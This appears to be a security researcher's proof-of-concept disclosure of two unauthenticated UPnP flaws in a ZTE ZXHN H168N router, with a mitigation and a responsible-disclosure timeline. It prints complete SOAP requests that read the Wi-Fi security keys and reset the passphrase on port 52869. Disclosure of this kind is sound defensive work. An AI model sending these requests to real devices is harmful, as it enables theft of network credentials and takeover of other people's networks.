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[*] POC: (CVE-2018-7357 and CVE-2018-7358)
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Disclaimer: [This POC is for Educational Purposes , I would Not be
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responsible for any misuse of the information mentioned in this blog post]
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[+] Unauthenticated
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[+] Author: Usman Saeed (usman [at] xc0re.net)
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[+] Protocol: UPnP
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[+] Affected Harware/Software:
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Model name: ZXHN H168N v2.2
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Build Timestamp: 20171127193202
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Software Version: V2.2.0_PK1.2T5
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[+] Findings:
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1. Unauthenticated access to WLAN password:
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POST /control/igd/wlanc_1_1 HTTP/1.1
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Host: <IP>:52869
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User-Agent: {omitted}
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Content-Length: 288
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Connection: close
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Content-Type: text/xml; charset=”utf-8″
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SOAPACTION: “urn:dslforum-org:service:WLANConfiguration:1#GetSecurityKeys” 1
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<?xml version=”1.0″ encoding=”utf-8″?>
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<s:Envelope xmlns:s=”http://schemas.xmlsoap.org/soap/envelope/” s:encodingStyle=”http://schemas.xmlsoap.org/soap/encoding/”><s:Body><u:GetSecurityKeys xmlns:u=”urn:dslforum-org:service:WLANConfiguration:1″></u:GetSecurityKeys></s:Body></s:Envelope>
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2. Unauthenticated WLAN passphrase change:
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POST /control/igd/wlanc_1_1 HTTP/1.1
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Host: <IP>:52869
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User-Agent: {omitted}
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Content-Length: 496
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Connection: close
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Content-Type: text/xml; charset=”utf-8″
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SOAPACTION: “urn:dslforum-org:service:WLANConfiguration:1#SetSecurityKeys”
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<?xml version=”1.0″ encoding=”utf-8″?>
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<s:Envelope xmlns:s=”http://schemas.xmlsoap.org/soap/envelope/” s:encodingStyle=”http://schemas.xmlsoap.org/soap/encoding/”><s:Body><u:SetSecurityKeys xmlns:u=”urn:dslforum-org:service:WLANConfiguration:1″><NewWEPKey0>{omitted}</NewWEPKey0><NewWEPKey1>{omitted}</NewWEPKey1><NewWEPKey2>{omitted}</NewWEPKey2><NewWEPKey3>{omitted}</NewWEPKey3><NewPreSharedKey>{omitted}</NewPreSharedKey><NewKeyPassphrase>{omitted}</NewKeyPassphrase></u:SetSecurityKeys></s:Body></s:Envelope>
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[*] Solution:
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UPnP should not provide excessive services, and if the fix is not possible, then UPnP should be disabled on the affected devices.
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[*] Note:
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There are other services which should not be published over UPnP, which are not mentioned in this blog post, as the solution is the same.
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[+] Responsible Disclosure:
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Vulnerabilities identified – 20 August, 2018
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Reported to ZTE – 28 August, 2018
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ZTE official statement – 17 September 2018
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ZTE patched the vulnerability – 12 November 2018
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The operator pushed the update – 12 November 2018
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CVE published – Later
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Public disclosure – 12 November 2018
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Ref: http://support.zte.com.cn/support/news/LoopholeInfoDetail.aspx?newsId=1009522 |